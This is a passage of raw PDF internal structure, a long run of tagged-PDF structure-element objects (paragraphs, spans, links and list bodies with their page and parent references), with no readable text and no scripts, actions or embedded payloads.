0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2962 0 obj +<< +/K [65 66] +/P 5488 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2963 0 obj +<< +/K [67 68] +/P 5489 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2964 0 obj +<< +/K [69 70] +/P 5490 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2965 0 obj +<< +/K [71 72] +/P 5491 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2966 0 obj +<< +/K [73 74] +/P 5492 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2967 0 obj +<< +/K [75 76] +/P 5493 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2968 0 obj +<< +/K [77 78] +/P 5494 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2969 0 obj +<< +/K [79 80] +/P 5495 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2970 0 obj +<< +/K [81 82] +/P 5496 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2971 0 obj +<< +/K [83 84] +/P 5497 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2972 0 obj +<< +/K [85 86] +/P 5498 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2973 0 obj +<< +/K [87 88] +/P 5499 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2974 0 obj +<< +/K [89 90] +/P 5500 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2975 0 obj +<< +/K [91 92] +/P 5501 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2976 0 obj +<< +/K [93 94] +/P 5502 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2977 0 obj +<< +/K [95 96] +/P 5503 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2978 0 obj +<< +/K [97 98] +/P 5504 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2979 0 obj +<< +/K [99 100] +/P 5505 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2980 0 obj +<< +/K [101 102] +/P 5506 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2981 0 obj +<< +/K [103 104] +/P 5507 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2982 0 obj +<< +/K [105] +/P 5508 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2983 0 obj +<< +/K [106] +/P 5509 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2984 0 obj +<< +/K [107 108] +/P 5510 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2985 0 obj +<< +/K [109 110] +/P 5511 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2986 0 obj +<< +/K [111 112] +/P 5512 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2987 0 obj +<< +/K [113 114] +/P 5513 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2988 0 obj +<< +/K [115 116] +/P 5514 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2989 0 obj +<< +/K [117 118] +/P 5515 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2990 0 obj +<< +/K [122 123 124] +/P 5516 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2991 0 obj +<< +/K [125 126 127] +/P 5517 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2992 0 obj +<< +/K [128 129] +/P 5518 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2993 0 obj +<< +/K [130 131] +/P 5519 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2994 0 obj +<< +/K [132 133] +/P 5520 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2995 0 obj +<< +/K [134 135] +/P 5521 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2996 0 obj +<< +/K [136 137] +/P 5522 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2997 0 obj +<< +/K [138 139] +/P 5523 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2998 0 obj +<< +/K [140 141] +/P 5524 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2999 0 obj +<< +/K [142 143] +/P 5525 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3000 0 obj +<< +/K [144 145] +/P 5526 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3001 0 obj +<< +/K [146 147] +/P 5527 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3002 0 obj +<< +/K [148 149] +/P 5528 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3003 0 obj +<< +/K [150 151] +/P 5529 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3004 0 obj +<< +/K [152 153] +/P 5530 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3005 0 obj +<< +/K [154 155] +/P 5531 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3006 0 obj +<< +/K [156 157] +/P 5532 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3007 0 obj +<< +/K [158 159] +/P 5533 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3008 0 obj +<< +/K [160 161] +/P 5534 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3009 0 obj +<< +/K [162 163] +/P 5535 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3010 0 obj +<< +/K [164 165] +/P 5536 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3011 0 obj +<< +/K [166 167] +/P 5537 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3012 0 obj +<< +/K [168 169] +/P 5538 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3013 0 obj +<< +/K [170 171] +/P 5539 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3014 0 obj +<< +/K [172 173] +/P 5540 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3015 0 obj +<< +/K [174 175] +/P 5541 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3016 0 obj +<< +/K [176 177] +/P 5542 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3017 0 obj +<< +/K [178 179] +/P 5543 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +3018 0 obj +<< +/K 0 +/P 1072 0 R +/Pg 65 0 R +/S /Span +/Type /StructElem +>> +endobj +3019 0 obj +<< +/ActualText ( ) +/K [1] +/P 1072 0 R +/Pg 65 0 R +/S /Span +/Type /StructElem +>> +endobj +3020 0 obj +<< +/K 2 +/P 1072 0 R +/Pg 65 0 R +/S /Span +/Type /StructElem +>> +endobj +3021 0 obj +<< +/ActualText ( ) +/K [3] +/P 1072 0 R +/Pg 65 0 R +/S /Span +/Type /StructElem +>> +endobj +3022 0 obj +<< +/K 4 +/P 1072 0 R +/Pg 65 0 R +/S /Span +/Type /StructElem +>> +endobj +3023 0 obj +<< +/K 21 +/P 1089 0 R +/Pg 65 0 R +/S /Span +/Type /StructElem +>> +endobj +3024 0 obj +<< +/K 22 +/P 3028 0 R +/Pg 65 0 R +/S /Span +/Type /StructElem +>> +endobj +3025 0 obj +<< +/K 23 +/P 1089 0 R +/Pg 65 0 R +/S /Span +/Type /StructElem +>> +endobj +3026 0 obj +<< +/K 24 +/P 3029 0 R +/Pg 65 0 R +/S /Span +/Type /StructElem +>> +endobj +3027 0 obj +<< +/K 25 +/P 1089 0 R +/Pg 65 0 R +/S /Span +/Type /StructElem +>> +endobj +3028 0 obj +<< +/K [5544 0 R 3024 0 R] +/P 1089 0 R +/Pg 65 0 R +/S /Link +/Type /StructElem +>> +endobj +3029 0 obj +<< +/K [5545 0 R 3026 0 R] +/P 1089 0 R +/Pg 65 0 R +/S /Link +/Type /StructElem +>> +endobj +3030 0 obj +<< +/K [0] +/P 4321 0 R +/Pg 66 0 R +/S /LBody +/Type /StructElem +>> +endobj +3031 0 obj +<< +/K [2 3] +/P 5546 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3032 0 obj +<< +/K [4 5] +/P 5547 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3033 0 obj +<< +/K [6 7] +/P 5548 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3034 0 obj +<< +/K [8 9] +/P 5548 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3035 0 obj +<< +/K [10 11] +/P 5549 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3036 0 obj +<< +/K [12 13] +/P 5549 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3037 0 obj +<< +/K [14] +/P 5550 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3038 0 obj +<< +/K [15] +/P 5551 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3039 0 obj +<< +/K [16] +/P 5552 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3040 0 obj +<< +/K [17] +/P 5552 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3041 0 obj +<< +/K [18] +/P 5553 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3042 0 obj +<< +/K [19] +/P 5553 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3043 0 obj +<< +/K [20] +/P 5554 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3044 0 obj +<< +/K [21] +/P 5555 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3045 0 obj +<< +/K [22] +/P 5556 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3046 0 obj +<< +/K [23] +/P 5557 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3047 0 obj +<< +/K [24] +/P 5558 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3048 0 obj +<< +/K [25] +/P 5559 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3049 0 obj +<< +/K [26] +/P 5560 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3050 0 obj +<< +/K [27] +/P 5560 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3051 0 obj +<< +/K [28] +/P 5561 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3052 0 obj +<< +/K [29] +/P 5562 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3053 0 obj +<< +/K [30] +/P 5563 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3054 0 obj +<< +/K 31 +/P 5564 0 R +/Pg 66 0 R +/S /Span +/Type /StructElem +>> +endobj +3055 0 obj +<< +/K 32 +/P 3073 0 R +/Pg 66 0 R +/S /Span +/Type /StructElem +>> +endobj +3056 0 obj +<< +/K 33 +/P 5564 0 R +/Pg 66 0 R +/S /Span +/Type /StructElem +>> +endobj +3057 0 obj +<< +/K [34] +/P 5565 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3058 0 obj +<< +/K [35] +/P 5566 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3059 0 obj +<< +/K [36] +/P 5567 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3060 0 obj +<< +/K 37 +/P 5568 0 R +/Pg 66 0 R +/S /Span +/Type /StructElem +>> +endobj +3061 0 obj +<< +/K 38 +/P 3074 0 R +/Pg 66 0 R +/S /Span +/Type /StructElem +>> +endobj +3062 0 obj +<< +/K 39 +/P 5568 0 R +/Pg 66 0 R +/S /Span +/Type /StructElem +>> +endobj +3063 0 obj +<< +/K [40] +/P 5567 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3064 0 obj +<< +/K [41] +/P 5567 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3065 0 obj +<< +/K [42] +/P 5569 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3066 0 obj +<< +/K [43] +/P 5570 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3067 0 obj +<< +/K [44] +/P 5571 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3068 0 obj +<< +/K [45] +/P 5571 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3069 0 obj +<< +/K [46] +/P 5571 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +3070 0 obj +<< +/K 47 +/P 5572 0 R +/Pg 66 0 R +/S /Span +/Type /StructElem +>> +endobj +3071 0 obj +<< +/K 48 +/P 3075 0 R +/Pg 66 0 R +/S /Span +/Type /StructElem +>> +endobj +3072 0 obj +<< +/K 49 +/P 5572 0 R +/Pg 66 0 R +/S /Span +/Type /StructElem +>> +endobj +3073 0 obj +<< +/K [5573 0 R 3055 0 R] +/P 5564 0 R +/Pg 66 0 R +/S /Link +/Type /StructElem +>> +endobj +3074 0 obj +<< +/K [5574 0 R 3061 0 R] +/P 5568 0 R +/Pg 66 0 R +/S /Link +/Type /StructElem +>> +endobj +3075 0 obj +<< +/K [5575 0 R 3071 0 R] +/P 5572 0 R +/Pg 66 0 R +/S /Link +/Type /StructElem +>> +endobj +3076 0 obj +<< +/K [0] +/P 4325 0 R +/Pg 67 0 R +/S /LBody +/Type /StructElem +>> +endobj +3077 0 obj +<< +/K [2 3] +/P 5576 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3078 0 obj +<< +/K [4 5] +/P 5577 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3079 0 obj +<< +/K [6 7] +/P 5578 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3080 0 obj +<< +/K [8 9] +/P 5578 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3081 0 obj +<< +/K [10 11] +/P 5579 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3082 0 obj +<< +/K [12 13] +/P 5579 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3083 0 obj +<< +/K [14] +/P 5580 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3084 0 obj +<< +/K [15] +/P 5581 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3085 0 obj +<< +/K [16] +/P 5582 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3086 0 obj +<< +/K 17 +/P 5583 0 R +/Pg 67 0 R +/S /Span +/Type /StructElem +>> +endobj +3087 0 obj +<< +/K 18 +/P 3107 0 R +/Pg 67 0 R +/S /Span +/Type /StructElem +>> +endobj +3088 0 obj +<< +/K 19 +/P 5583 0 R +/Pg 67 0 R +/S /Span +/Type /StructElem +>> +endobj +3089 0 obj +<< +/K [20] +/P 5584 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3090 0 obj +<< +/K [21] +/P 5585 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3091 0 obj +<< +/K [22] +/P 5586 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3092 0 obj +<< +/K 23 +/P 5587 0 R +/Pg 67 0 R +/S /Span +/Type /StructElem +>> +endobj +3093 0 obj +<< +/K 24 +/P 3108 0 R +/Pg 67 0 R +/S /Span +/Type /StructElem +>> +endobj +3094 0 obj +<< +/K 25 +/P 5587 0 R +/Pg 67 0 R +/S /Span +/Type /StructElem +>> +endobj +3095 0 obj +<< +/K 26 +/P 3109 0 R +/Pg 67 0 R +/S /Span +/Type /StructElem +>> +endobj +3096 0 obj +<< +/K 27 +/P 5587 0 R +/Pg 67 0 R +/S /Span +/Type /StructElem +>> +endobj +3097 0 obj +<< +/K [28] +/P 5586 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3098 0 obj +<< +/K [29] +/P 5586 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3099 0 obj +<< +/K [30] +/P 5588 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3100 0 obj +<< +/K [31] +/P 5589 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3101 0 obj +<< +/K [32] +/P 5590 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3102 0 obj +<< +/K [33] +/P 5590 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3103 0 obj +<< +/K [34] +/P 5590 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +3104 0 obj +<< +/K 35 +/P 5591 0 R +/Pg 67 0 R +/S /Span +/Type /StructElem +>> +endobj +3105 0 obj +<< +/K 36 +/P 3110 0 R +/Pg 67 0 R +/S /Span +/Type /StructElem +>> +endobj +3106 0 obj +<< +/K 37 +/P 5591 0 R +/Pg 67 0 R +/S /Span +/Type /StructElem +>> +endobj +3107 0 obj +<< +/K [5592 0 R 3087 0 R] +/P 5583 0 R +/Pg 67 0 R +/S /Link +/Type /StructElem +>> +endobj +3108 0 obj +<< +/K [5593 0 R 3093 0 R] +/P 5587 0 R +/Pg 67 0 R +/S /Link +/Type /StructElem +>> +endobj +3109 0 obj +<< +/K [5594 0 R 3095 0 R] +/P 5587 0 R +/Pg 67 0 R +/S /Link +/Type /StructElem +>> +endobj +3110 0 obj +<< +/K [5595 0 R 3105 0 R] +/P 5591 0 R +/Pg 67 0 R +/S /Link +/Type /StructElem +>> +endobj +3111 0 obj +<< +/K [0] +/P 4331 0 R +/Pg 68 0 R +/S /LBody +/Type /StructElem +>> +endobj +3112 0 obj +<< +/K [2 3] +/P 5596 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3113 0 obj +<< +/K [4 5] +/P 5597 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3114 0 obj +<< +/K [6 7] +/P 5598 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3115 0 obj +<< +/K [8 9] +/P 5598 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3116 0 obj +<< +/K [10 11] +/P 5599 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3117 0 obj +<< +/K [12 13] +/P 5599 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3118 0 obj +<< +/K [14] +/P 5600 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3119 0 obj +<< +/K [15] +/P 5601 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3120 0 obj +<< +/K [16] +/P 5602 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3121 0 obj +<< +/K [17] +/P 5602 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3122 0 obj +<< +/K [18] +/P 5602 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3123 0 obj +<< +/K 19 +/P 5603 0 R +/Pg 68 0 R +/S /Span +/Type /StructElem +>> +endobj +3124 0 obj +<< +/K 20 +/P 3175 0 R +/Pg 68 0 R +/S /Span +/Type /StructElem +>> +endobj +3125 0 obj +<< +/K 21 +/P 5603 0 R +/Pg 68 0 R +/S /Span +/Type /StructElem +>> +endobj +3126 0 obj +<< +/K 24 +/P 5604 0 R +/Pg 68 0 R +/S /Span +/Type /StructElem +>> +endobj +3127 0 obj +<< +/K 25 +/P 3176 0 R +/Pg 68 0 R +/S /Span +/Type /StructElem +>> +endobj +3128 0 obj +<< +/K 26 +/P 5604 0 R +/Pg 68 0 R +/S /Span +/Type /StructElem +>> +endobj +3129 0 obj +<< +/K [27] +/P 4336 0 R +/Pg 68 0 R +/S /LBody +/Type /StructElem +>> +endobj +3130 0 obj +<< +/K 31 +/P 1113 0 R +/Pg 68 0 R +/S /Span +/Type /StructElem +>> +endobj +3131 0 obj +<< +/K 32 +/P 3177 0 R +/Pg 68 0 R +/S /Span +/Type /StructElem +>> +endobj +3132 0 obj +<< +/K 33 +/P 1113 0 R +/Pg 68 0 R +/S /Span +/Type /StructElem +>> +endobj +3133 0 obj +<< +/K [35 36] +/P 5605 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3134 0 obj +<< +/K [37 38] +/P 5606 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3135 0 obj +<< +/K [39 40] +/P 5607 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3136 0 obj +<< +/K [41 42] +/P 5608 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3137 0 obj +<< +/K [43 44] +/P 5609 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3138 0 obj +<< +/K [45] +/P 5610 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3139 0 obj +<< +/K [46] +/P 5611 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3140 0 obj +<< +/K [47] +/P 5612 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3141 0 obj +<< +/K [48] +/P 5613 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3142 0 obj +<< +/K [49] +/P 5614 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3143 0 obj +<< +/K [50] +/P 5615 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3144 0 obj +<< +/K [51] +/P 5616 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3145 0 obj +<< +/K [52] +/P 5617 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3146 0 obj +<< +/K [53] +/P 5618 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3147 0 obj +<< +/K [54] +/P 5619 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3148 0 obj +<< +/K [55] +/P 5620 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3149 0 obj +<< +/K [56] +/P 5621 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3150 0 obj +<< +/K [57] +/P 5622 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3151 0 obj +<< +/K [58] +/P 5623 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3152 0 obj +<< +/K [59] +/P 5624 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3153 0 obj +<< +/K [60] +/P 5625 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3154 0 obj +<< +/K [61] +/P 5626 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3155 0 obj +<< +/K [62] +/P 5627 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3156 0 obj +<< +/K [63] +/P 5628 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3157 0 obj +<< +/K [64] +/P 5629 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3158 0 obj +<< +/K [65] +/P 5630 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3159 0 obj +<< +/K [66] +/P 5631 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3160 0 obj +<< +/K [67] +/P 5632 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3161 0 obj +<< +/K [68] +/P 5633 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3162 0 obj +<< +/K [69] +/P 5634 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3163 0 obj +<< +/K [70] +/P 5635 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3164 0 obj +<< +/K [71] +/P 5636 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3165 0 obj +<< +/K [72] +/P 5637 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3166 0 obj +<< +/K [73] +/P 5638 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3167 0 obj +<< +/K [74] +/P 5639 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3168 0 obj +<< +/K [75] +/P 5640 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3169 0 obj +<< +/K [76] +/P 5641 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3170 0 obj +<< +/K [77] +/P 5642 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3171 0 obj +<< +/K [78] +/P 5643 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3172 0 obj +<< +/K [79] +/P 5643 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3173 0 obj +<< +/K [80] +/P 5644 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3174 0 obj +<< +/K [81] +/P 5644 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +3175 0 obj +<< +/K [5645 0 R 3124 0 R] +/P 5603 0 R +/Pg 68 0 R +/S /Link +/Type /StructElem +>> +endobj +3176 0 obj +<< +/K [5646 0 R 3127 0 R] +/P 5604 0 R +/Pg 68 0 R +/S /Link +/Type /StructElem +>> +endobj +3177 0 obj +<< +/K [5647 0 R 3131 0 R] +/P 1113 0 R +/Pg 68 0 R +/S /Link +/Type /StructElem +>> +endobj +3178 0 obj +<< +/K [0 1] +/P 5648 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3179 0 obj +<< +/K [2 3] +/P 5649 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3180 0 obj +<< +/K [4 5] +/P 5650 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3181 0 obj +<< +/K [6 7] +/P 5651 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3182 0 obj +<< +/K [8 9] +/P 5652 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3183 0 obj +<< +/K [10] +/P 5653 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3184 0 obj +<< +/K [11] +/P 5654 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3185 0 obj +<< +/K [12] +/P 5655 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3186 0 obj +<< +/K [13] +/P 5656 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3187 0 obj +<< +/K [14] +/P 5656 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3188 0 obj +<< +/K [15] +/P 5657 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3189 0 obj +<< +/K [16] +/P 5657 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3190 0 obj +<< +/K [17] +/P 5657 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3191 0 obj +<< +/K [18] +/P 5657 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3192 0 obj +<< +/K [19] +/P 5658 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3193 0 obj +<< +/K [20] +/P 5659 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3194 0 obj +<< +/K [21] +/P 5660 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3195 0 obj +<< +/K [22] +/P 5661 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3196 0 obj +<< +/K [23] +/P 5662 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3197 0 obj +<< +/K [24] +/P 5663 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3198 0 obj +<< +/K [25] +/P 5664 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3199 0 obj +<< +/K [26] +/P 5665 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3200 0 obj +<< +/K [27] +/P 5666 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3201 0 obj +<< +/K [28] +/P 5667 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3202 0 obj +<< +/K [31 32] +/P 5668 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3203 0 obj +<< +/K [33] +/P 5669 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3204 0 obj +<< +/K [34] +/P 5670 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3205 0 obj +<< +/K [35] +/P 5671 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3206 0 obj +<< +/K [36] +/P 5672 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3207 0 obj +<< +/K [37] +/P 5673 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3208 0 obj +<< +/K [38] +/P 5674 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> 